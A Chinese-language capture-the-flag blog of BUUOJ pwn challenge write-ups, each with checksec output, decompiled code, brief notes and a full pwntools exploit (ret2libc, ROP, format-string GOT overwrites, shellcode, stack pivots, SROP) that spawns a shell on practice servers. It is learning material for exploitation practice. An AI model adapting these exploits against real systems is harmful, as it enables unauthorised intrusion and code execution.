1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./login" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28822 io = remote(host, port) shell = 0x400E88 io.sendline("aaa" ) payload = "2jctf_pa5sw0rd" + '\x00' * 0x3a + p64(shell) io.sendline(payload) io.interactive()
ciscn_2019_s_4 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
和ciscn_2019_es_2相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./ciscn_s_4" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 29492 io = remote(host, port) system = 0x08048400 leave_ret = 0x080484b8 payload = 'a' *0x26 + "bb" io.send(payload) io.recvuntil("aabb" ) ebp = u32(io.recv(4 )) print(hex(ebp)) payload = 'a' *4 + p32(system) + 'b' *4 + p32(ebp-0x28 ) + "/bin/sh\x00" payload = payload.ljust(0x28 , '\x00' ) payload += p32(ebp-0x38 ) + p32(leave_ret) io.sendline(payload) io.interactive()
jarvisoj_level1 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
看看漏洞点
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf[136 ]; printf ("What's this:%p?\n" , buf); return read (0 , buf, 0x100 u); }
打印出栈的地址,直接写shellcode然后跳过去执行就可以了
不过远程的好像打不通
本地能打通的exp是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./level1" io = process(pwnfile) elf = ELF(pwnfile) io.recvuntil("What's this:0x" ) stack = int(io.recv()[0 :8 ],16 ) log.success(hex(stack)) payload = 'a' *140 + p32(stack+0x90 ) + asm(shellcraft.i386.linux.sh()) io.sendline(payload) io.interactive()
远程打不通
只能用ret2libc了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./level1" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26697 io = remote(host, port) printf_got = elf.got["printf" ] write = 0x08048370 vuln = 0x0804847B payload = 'a' *140 + p32(write) + p32(vuln) + p32(1 ) + p32(printf_got) + p32(0x8 ) io.sendline(payload) printf_address = u32(io.recv()[0 :4 ]) log.success(hex(printf_address)) libc = LibcSearcher('printf' , printf_address) base = printf_address - libc.dump('printf' ) log.success(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = 'a' *140 + p32(system) + p32(vuln) + p32(bin_sh) io.sendline(payload) io.interactive()
wustctf2020_closed 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
考的应该是对linux的了解
1 2 3 4 5 6 7 __int64 vulnerable () { puts ("HaHaHa!\nWhat else can you do???" ); close (1 ); close (2 ); return shell(); }
关闭了标准输出和标准错误,就是输入命令不会有回显不过执行了
可以用
来重定向
这题是不太懂看了下wp应该是这个意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./wustctf2020_closed" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26238 io = remote(host, port) io.sendline("exec 1>&0" ) io.interactive()
hitcontraining_magicheap 堆题
axb_2019_fmt32 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
很有意思的格式化字符串题目
因为$n可以在指定位置写入字符数量
可以把后面函数的plt位置修改为one_gadget的指针
这样再次执行修改后的函数就可以getshell了
来看看伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char s[257 ]; char format[300 ]; unsigned int v5; v5 = __readgsdword(0x14 u); setbuf(stdout , 0 ); setbuf(stdin , 0 ); setbuf(stderr , 0 ); puts ( "Hello,I am a computer Repeater updated.\n" "After a lot of machine learning,I know that the essence of man is a reread machine!" ); puts ("So I'll answer whatever you say!" ); while ( 1 ) { alarm(3u ); memset (s, 0 , sizeof (s)); memset (format, 0 , sizeof (format)); printf ("Please tell me:" ); read (0 , s, 0x100 u); sprintf (format, "Repeater:%s\n" , s); if ( strlen (format) > 270 ) break ; printf (format); } printf ("what you input is really long!" ); exit (0 ); }
漏洞点在倒数第二这个printf这里
由sprintf拼接的字符串到这里出现了格式化漏洞
先泄露libc的地址然后用把strlen_got替换为one_gadget就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./axb_2019_fmt32" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28364 io = remote(host, port) puts_got = elf.got["puts" ] strlen_got = elf.got["strlen" ] payload = "a" + p32(puts_got) + "%8$s" io.recvuntil(":a" ) puts_address = u32(io.recv()[4 :8 ]) log.success(hex(puts_address)) libc = LibcSearcher("puts" , puts_address) base = puts_address - libc.dump("puts" ) log.success(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) strlen_addresss = base + libc.dump('strlen' ) log.success("strlen: " + hex(strlen_addresss)) one_gadget = base + 0x3a812 log.success("one_gadget: " + hex(one_gadget)) high_gadget =(one_gadget >> 16 ) & 0xffff low_gadget = one_gadget & 0xffff log.success(hex(high_gadget)) log.success(hex(low_gadget)) payload = 'a' + '%' + str(low_gadget-10 ) + "c%15$hn" + '%' + str(high_gadget-low_gadget) + "c%16$hnaa" + p32(strlen_got) + p32(strlen_got+2 ) io.sendline(payload) io.interactive()
容易掉
先输入点东西然后马上输入cat flag不然就掉了
先写点题目吧到时候会把几道有意思的题目选出来写详细
这题写了好几种payload都可以的
pwntools自带fmtstr_payload也可以构造payload
还有一种是纯手动的这样可以更清楚的学习
然后看懂手动的又学着写了一个都是可以用的
babyfengshui_33c3_2016 堆题
ciscn_2019_n_3 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
堆题
pwnable_start 1 2 3 4 5 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)
汇编写的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 .text:08048060 push esp .text:08048061 push offset _exit .text:08048066 xor eax, eax .text:08048068 xor ebx, ebx .text:0804806A xor ecx, ecx .text:0804806C xor edx, edx .text:0804806E push 3A465443h .text:08048073 push 20656874h .text:08048078 push 20747261h .text:0804807D push 74732073h .text:08048082 push 2774654Ch .text:08048087 mov ecx, esp ; addr .text:08048089 mov dl, 14h ; len .text:0804808B mov bl, 1 ; fd .text:0804808D mov al, 4 .text:0804808F int 80h ; LINUX - sys_write .text:08048091 xor ebx, ebx .text:08048093 mov dl, 3Ch ; '<' .text:08048095 mov al, 3 .text:08048097 int 80h ; LINUX - .text:08048099 add esp, 14h .text:0804809C retn
就是系统调用read write
存在溢出漏洞,不过因为是汇编写的程序没有别的地方可以跳,只能看这几行了
溢出的字符数是20
关键的问题就是跳到哪里去可以泄露出地址
这里不多写了到时候打pwnable的时候再写的详细点
跳到0x08048087可以泄露栈地址
首次走到mov ecx, esp是把字符串指针存到ecx里面
跳到这里就是把栈顶的值取过来了
这里有个关键点就是不能用sendline
因为多出来的换行符会覆盖掉要泄露地址的首个字节导致地址不对
通过泄露的栈顶得到编译最后在栈中写入shellcode跳过去执行就可以了
这里还不能直接用asm(shellcraft.i386.linux.sh())有长度限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./start" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 25716 io = remote(host, port) payload = 'a' * 20 + p32(0x08048087 ) io.send(payload) io.recvuntil("CTF:" ) esp = u32(io.recv()[0 :4 ]) log.success(hex(esp)) shell = ''' mov eax, 0xb push 0x0068732f push 0x6e69622f mov ebx, esp xor ecx,ecx xor edx,edx int 0x80 ''' payload = 'a' * 20 + p32(esp+0x14 ) + asm(shell) io.send(payload) io.interactive()
others_babystack 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
先用输入字符串拼接canary
然后用打印输出canary最后实现溢出
不过这题又是那种..本地和远程payload要改的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./babystack" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 27418 io = remote(host, port) puts = 0x400690 puts_got = elf.got["puts" ] main = 0x400908 rdi_ret = 0x0000000000400a93 io.recvuntil(">> " ) io.sendline("1" ) payload = 'a' * 132 + "this" io.sendline(payload) io.recvuntil(">> " ) io.sendline("2" ) io.recvuntil("this" ) canary = u64(io.recv()[0 :8 ].replace('\x0a' , '\x00' )) log.success(hex(canary)) io.recv() io.sendline("1" ) payload = 'a' * 136 + p64(canary) + p64(0x2222222222222222 ) + p64(rdi_ret) + p64(puts_got) + p64(puts) + p64(main) io.sendline(payload) io.recvuntil(">> " ) io.sendline("3" ) puts_got_address = u64(io.recv(6 ).ljust(8 , '\x00' )) log.success(hex(puts_got_address)) libc = LibcSearcher('puts' , puts_got_address) base = puts_got_address - libc.dump('puts' ) log.success(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) io.recvuntil(">> " ) io.send("1" ) payload = 'a' * 136 + p64(canary) + p64(0x2222222222222222 ) + p64(rdi_ret) + p64(bin_sh) + p64(system) + p64(main) io.sendline(payload) io.recvuntil(">> " ) io.sendline("3" ) io.interactive()
gyctf_2020_borrowstack 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
漏洞点在主函数
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[96 ]; setbuf(stdin , 0L L); setbuf(stdout , 0L L); puts (&s); read (0 , buf, 112u LL); puts ("Done!You can check and use your borrow stack now!" ); read (0 , &bank, 0x100 uLL); return 0 ; }
第二次read写在了bss段
这题应该是考64位的栈迁移
直接把gdaget写在bss然后用leave迁移过去然后就是正常的ret2libc了
不知道为啥找到system和/bin/sh还是执行不了
最后选择了one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./gyctf_2020_borrowstack" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 27590 io = remote(host, port) puts_got = elf.got["puts" ] puts = 0x04004E0 rdi_ret = 0x400703 leave = 0x400699 bank = 0x601080 ret = 0x40069A main = 0x400626 payload = 'a' * 96 + p64(bank) + p64(leave) io.send(payload) payload = 'a' * 8 + p64(ret)*20 + p64(rdi_ret) + p64(puts_got) + p64(puts) + p64(main) io.send(payload) io.recvuntil("!\x0a" ) puts_got_address = u64(io.recv(6 ).ljust(8 , '\x00' )) log.success(hex(puts_got_address)) libc = LibcSearcher('puts' , puts_got_address) base = puts_got_address - libc.dump('puts' ) log.success(hex(base)) one_gadget = base + 0x4526a payload = 'a' * 96 + p64(bank) + p64(one_gadget) io.send(payload) io.interactive()
hitcontraining_heapcreator 堆题
0ctf_2017_babyheap 堆题
ciscn_2019_s_9 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
漏洞点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int pwn () { char s[24 ]; puts ("\nHey! ^_^" ); puts ("\nIt's nice to meet you" ); puts ("\nDo you have anything to tell?" ); puts (">" ); fflush(stdout ); fgets(s, 50 , stdin ); puts ("OK bye~" ); fflush(stdout ); return 1 ; }
还有hint函数
1 2 3 4 void hint () { __asm { jmp esp } }
来winxp的感觉了..
直接写shellcode然后跳就可以了
就是这条shellcode要写的很短只能在0x24字节以内
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./ciscn_s_9" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26064 io = remote(host, port) shell = ''' push 0xb pop eax push 0x0068732f push 0x6e69622f mov ebx, esp xor ecx,ecx xor edx,edx int 0x80 ''' jmp_esp = ''' sub esp, 0x28 jmp esp ''' hint = 0x08048554 payload = asm(shell).ljust(0x24 , '\x00' ) + p32(hint) + asm(jmp_esp) io.sendline(payload) io.interactive()
hitcon2014_stkof 堆题
picoctf_2018_shellcode 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
直接打shellcode就可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./PicoCTF_2018_shellcode" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 29451 io = remote(host, port) shell = ''' mov eax,0xb push 0x0068732f push 0x6e69622f mov ebx, esp xor ecx,ecx xor edx,edx int 0x80 ''' payload = asm(shell) io.sendline(payload) io.interactive()
pwnable_hacknote 堆题
roarctf_2019_easy_pwn 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
堆题
ciscn_2019_es_7 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
和ciscn_s_3相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./ciscn_2019_es_7" io = process(pwnfile) elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28786 io = remote(host, port) gadgets = 0x4004DA syscall = 0x400517 vuln = 0x4004ED payload = "/bin/sh\x00" + 'a' * 8 + p64(vuln) io.sendline(payload) stack = u64(io.recv()[0x20 :0x28 ]) bin_sh = stack-0x118 sigframe = SigreturnFrame() sigframe.rax = 59 sigframe.rdi = bin_sh sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rsp = stack sigframe.rip = syscall payload = "/bin/sh\x00" + 'a' * 8 + p64(gadgets) + p64(syscall) + str(sigframe) io.sendline(payload) io.interactive()
jarvisoj_level5 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
这题好像题目放错了
直接拿level3_x64打
hitcontraining_bamboobox 堆题
npuctf_2020_easyheap 堆题
cmcc_pwnme2 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
看了代码这种溢出肯定是可以用ret2libc打的
想看看别的方法去网上找找
有exec_string函数
1 2 3 4 5 6 7 8 9 10 11 12 13 int exec_string () { char s; FILE *stream; stream = fopen(&string , "r" ); if ( !stream ) perror("Wrong file" ); fgets(&s, 50 , stream); puts (&s); fflush(stdout ); return fclose(stream); }
string的地址是0804A060
直接溢出然后往string里面写flag最后调用exec_string
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./pwnme2" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 27373 io = remote(host, port) string = 0x0804A060 exec_string = 0x080485CB gets = 0x08048440 payload = 'a' * 112 + p32(gets) + p32(exec_string) + p32(string) io.sendline(payload) io.sendline("/flag" ) io.interactive()
picoctf_2018_got_shell 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞点伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { _DWORD *v3; int v4; char s[256 ]; unsigned int v6; v6 = __readgsdword(0x14 u); setvbuf(_bss_start, 0 , 2 , 0 ); puts ("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?" ); __isoc99_scanf("%x" , &v3); sprintf (s, "Okay, now what value would you like to write to 0x%x" , v3); puts (s); __isoc99_scanf("%x" , &v4); sprintf (s, "Okay, writing 0x%x to 0x%x" , v4, v3); puts (s); *v3 = v4; puts ("Okay, exiting now...\n" ); exit (1 ); }
就是输入地址然后往地址写入四字节的数据
直接用后门函数win覆盖掉puts的got就可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./PicoCTF_2018_got-shell" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 29319 io = remote(host, port) puts_got = elf.got["puts" ] win = 0x0804854B payload = hex(puts_got) io.sendline(payload) payload = hex(win) io.sendline(payload) io.interactive()
picoctf_2018_can_you_gets_me 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
又是直接打rop的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./PicoCTF_2018_can-you-gets-me" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 29591 io = remote(host, port) int_80 = 0x0806cc25 ebx_edx_ret = 0x0806f029 eax_ret = 0x080b81c6 ecx_ret = 0x080de955 edx_ret = 0x0806f02a edx_eax_mov = 0x080549db data = 0x080EA060 payload = 'a' * 28 + p32(edx_ret) + p32(data) + p32(eax_ret) + "/bin" + p32(edx_eax_mov) + p32(edx_ret) + p32(data+0x4 ) + p32(eax_ret) + "/sh\x00" + p32(edx_eax_mov) + p32(eax_ret) + p32(0xb ) + p32(ebx_edx_ret) + p32(data) + p32(0 ) + p32(ecx_ret) + p32(0 ) + p32(int_80) io.sendline(payload) io.interactive()
wdb_2018_2nd_easyfmt 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
和axb_2019_fmt32类似的题目
需要先泄露libc地址
就是one_gadget用不了不知道为什么
需要把printf的got覆盖成sysyem的然后在read的时候输入/bin/sh就可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./wdb_2018_2nd_easyfmt" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 29877 io = remote(host, port) puts_got = elf.got["puts" ] read_got = elf.got["read" ] printf_got = elf.got["printf" ] payload = p32(puts_got) + "%6$s" io.sendline(payload) io.recvline() puts_address = u32(io.recv()[4 :8 ]) log.success(hex(puts_address)) libc = LibcSearcher("puts" , puts_address) base = puts_address - libc.dump("puts" ) log.success(hex(base)) system = base + libc.dump('system' ) log.success("system: " + hex(system)) high_system =(system >> 16 ) & 0xffff low_system = system & 0xffff log.success(hex(high_system)) log.success(hex(low_system)) payload = '%' + str(low_system) + "c%13$hn" + '%' + str(high_system-low_system) + "c%14$hnaa" + p32(printf_got) + p32(printf_got+2 ) io.sendline(payload) io.sendline("/bin/sh\x00" ) io.interactive()
mrctf2020_easy_equation 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
漏洞在主函数
1 2 3 4 5 6 7 8 9 10 11 int __cdecl main (int argc, const char **argv, const char **envp) { char s; memset (&s, 0 , 0x400 uLL); fgets(&s, 1023 , stdin ); printf (&s); if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 ) system("exec /bin/sh" ); return 0 ; }
直接溢出跳过判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./mrctf2020_easy_equation" elf = ELF(pwnfile) shell = 0x4006D0 host = "node4.buuoj.cn" port = 25185 io = remote(host, port) payload = 'a' * 9 + p64(shell) io.sendline(payload) io.interactive()
actf_2019_babystack 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
栈迁移
题目给出esp地址然后用leave布置esp
在栈中写入要用的ROP就可以了
这种ret2libc打远程都有些问题..
最后还是用one_gadget了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./ACTF_2019_babystack" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26424 io = remote(host, port) puts_got = elf.got["puts" ] puts = 0x400730 ret = 0x400A19 leave = 0x400A4E rdi_ret = 0x400ad3 main = 0x4008F6 io.recvuntil("How many bytes of your message?" ) io.sendline("224" ) io.recvuntil("0x" ) esp = int(io.recv()[0 :12 ],16 ) log.success(hex(esp)) payload = p64(0 ) + p64(rdi_ret) + p64(puts_got) + p64(puts) + p64(main) payload = payload.ljust(0xD0 , '\x00' ) payload = payload + p64(esp) + p64(leave) io.send(payload) io.recvuntil("Byebye~\x0a" ) puts_got_address = u64(io.recv(6 ).ljust(8 , '\x00' )) log.success(hex(puts_got_address)) libc = LibcSearcher('puts' , puts_got_address) base = puts_got_address - libc.dump('puts' ) log.success(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) one_gadget = base + 0x4f2c5 io.recv() io.sendlineafter('>' , "224" ) payload = 'a' * 0xD8 + p64(one_gadget) io.sendline(payload) io.interactive()
后来在网上看了下wp发现用ret2libc需要再加ret不然就不行
payload就是注释里面的
mrctf2020_shellcode_revenge 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
看了下源码意思是shellcode必须是可见字符
网上wp学了下要用
https://github.com/SkyLined/alpha3
将shellcode转换为可见字符
先生成raw文件
1 2 3 4 5 from pwn import *context.arch='amd64' print(asm(shellcraft.sh()))
然后运行
然后把文件移到alpha3下面
不要直接在alpha3运行sc.py会报错
1 2 3 git clone https://github.com/TaQini/alpha3.git cd alpha3/python ./ALPHA3.py x64 ascii mixedcase rax --input="raw"
这样就会输出可见字符的shellcode了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./mrctf2020_shellcode_revenge" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28394 io = remote(host, port) payload = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00" io.send(payload) io.interactive()
x_ctf_b0verfl0w 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
直接把shellcode布置在栈里然后用hint函数控制栈最后跳到esp执行shellcode
shellcode要控制在28字节以内
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./b0verfl0w" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 29314 io = remote(host, port) hint = 0x080484FE jmp_esp = 0x08048504 shell = ''' push 0xb pop eax push 0x0068732f push 0x6e69622f mov ebx, esp xor ecx,ecx xor edx,edx int 0x80 ''' payload = p32(0 ) + p32(jmp_esp) + asm(shell).ljust(0x1c , '\x00' ) + p32(hint) io.sendline(payload) io.interactive()
picoctf_2018_leak_me 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
好玩的一题
漏洞在主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __cdecl main (int argc, const char **argv, const char **envp) { char s1[64 ]; char v5[256 ]; char s[64 ]; FILE *stream; char *v8; __gid_t v9; int *v10; v10 = &argc; setvbuf(stdout , 0 , 2 , 0 ); v9 = getegid(); setresgid(v9, v9, v9); memset (s, 0 , sizeof (s)); memset (v5, 0 , sizeof (v5)); memset (s1, 0 , sizeof (s1)); puts ("What is your name?" ); fgets(v5, 256 , stdin ); v8 = strchr (v5, '\n' ); if ( v8 ) *v8 = 0 ; strcat (v5, ",\nPlease Enter the Password." ); stream = fopen("password.txt" , "r" ); if ( !stream ) { puts ( "Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server." ); exit (0 ); } fgets(s, 64 , stream); printf ("Hello " ); puts (v5); fgets(s1, 64 , stdin ); v5[0 ] = 0 ; if ( !strcmp (s1, s) ) (flag)(v10); else puts ("Incorrect Password!" ); return 0 ; }
先接收长度为256的名字,找到\n替换为\x00用来截断
v5和s在内存上面是连续的
只要给出一串超过256的字符串就找不到换行符就不会被截断,会把已经写到内存里面的密码带出来
密码是这个
1 a_reAllY_s3cuRe_p4s$word_f85406
这题可以直接手动的直接nc过去丢字符串就好了
然后得到密码后输入就可以得到flag了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./PicoCTF_2018_leak-me" io = process(pwnfile) elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 25097 io = remote(host, port) io.sendline("aaa" ) io.sendline("a_reAllY_s3cuRe_p4s$word_f85406" ) io.interactive()
suctf_2018_basic pwn 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
溢出到题目的后门函数得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./SUCTF_2018_basic_pwn" io = process(pwnfile) elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 25639 io = remote(host, port) flag = 0x401157 payload = 'a' * 280 + p64(flag) io.sendline(payload) io.interactive()
inndy_echo 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
字符串格式化漏洞
题目有system函数所以只要把system的plt覆盖到printf的got然后输入/bin/sh就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./echo" io = process(pwnfile) elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 25995 io = remote(host, port) printf_got = elf.got["printf" ] system = 0x08048400 high_system = (system >> 16 ) & 0xffff low_system = system & 0xffff log.success(hex(high_system)) log.success(hex(low_system)) payload = '%' + str(high_system) + "c%14$hn" + '%' + str(low_system-high_system) +"c%15$hnaaa" + p32(printf_got+2 ) + p32(printf_got) io.sendline(payload) io.sendline("/bin/sh\x00" ) io.interactive()
hitcontraining_unlink 堆题
ciscn_2019_final_3 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
堆题
axb_2019_fmt64 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
下次再写
64位对格式有点烦..
wustctf2020_name_your_cat 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
是一道任意地址写入的题目
在调试的时候算出返回地址和写入地址距离为-40
也就是0xFFFFFFD8
再把这个数/8
